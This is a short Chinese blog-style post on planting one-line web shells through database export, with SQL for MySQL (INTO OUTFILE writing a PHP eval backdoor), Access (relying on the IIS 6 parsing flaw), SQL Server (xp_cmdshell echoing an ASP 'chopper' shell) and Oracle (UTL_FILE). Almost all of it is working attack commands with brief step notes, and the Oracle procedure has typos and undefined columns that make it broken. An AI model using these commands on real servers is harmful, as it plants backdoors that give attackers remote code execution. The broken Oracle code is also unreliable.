红炉点雪

数据库导出一句话木马

PhpMyAdmin+MySQL(有读写权限):

1
2
3
4
create table x (cmd text NOT NULL);
insert into x (cmd) values ('<?php @eval ($_POST[cmd])?>');
select cmd from x into outfile 'F:/php/htdocs/phpMyAdmin/eval.php';
drop table if exists x;

注:
1,建立表x,字段cmdtext类型并不允许为空;
2,向cmd字段插入字符串,此时的字符串为一句话木马;
3,导出cmd字段的内容到硬盘(网站目录下);
4,删除表x

一句SQL语句导出:

1
select '<?php @eval ($_POST[cmd]) ?>' INTO OUTFILE 'F:/php/htdocs/phpMyAdmin/eval.php'

Access:

1
2
3
4
create table cmd (a varchar(50))
insert into cmd (a) values ('一句话木马')
select * into [a] in 'e:\web\1.asa;x.xls' 'excel 80;' from cmd
drop table cmd

Access简短SQL语句:

1
SELECT '代码' into [Excel 5.0;HDR=YES;DATABASE=c:\test.asp;1.xls].['xxx'] from 表

1
SELECT '<%execute request(char(35))%>' into [xxser] in 'c:\miao.asp;xls' 'excel 5.0;' from

注:Access导出shell只能配合IIS 6的解析漏洞,如果导出ASP格式,将会提示“不能更新,数据库或对象为只读”。

SQL Server:

SQL Server 没有直接提供导出数据的功能,但通过xp_cmdShell也能达到类似的功能。

1
exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> > c:\123.txt '

使用xp_cmdshell存储过程可以调用系统命令,但这样意义不大,因为可以直接使用xp_cmdshell过程直接添加系统用户。

Oracle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
create table cmd(a nvarchar2(30) not null);
insert into cmd(a) values('Hello World!'); //创建表并插入数据
create dirctory DIR_DUMP as 'd:/'; //生成文件盘符
grant read,write on directory dir_dump to psbc;
//创建存储过程 outputstr
CREATE OR REPLACE PROCEDURE outputstr
IS
outputstr_handle UTL_FILE.file_type;
BEGIN
outputstr_handle := NTL_FILE.FOPEN('DIR_DUMP','oracle.txt','w'); //文件名称
FOR x IN (SELECT * FROM cmd) LOOP
UTL_FILE.PUT_LINE(outputstr _handle,x.ID || ',' || x.RQ || ',');
END LOOP;
UTL_FILE.FCLOSE(outputstr _handle);
EXCEPTION WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE(SUBSTR(SQLERRM,1,2000));
END;
begin
outputstr //调用存储过程
end;

调用存储过程后,将会把cmd表的数据导入 D:\oracle.txt 中。

CONTACT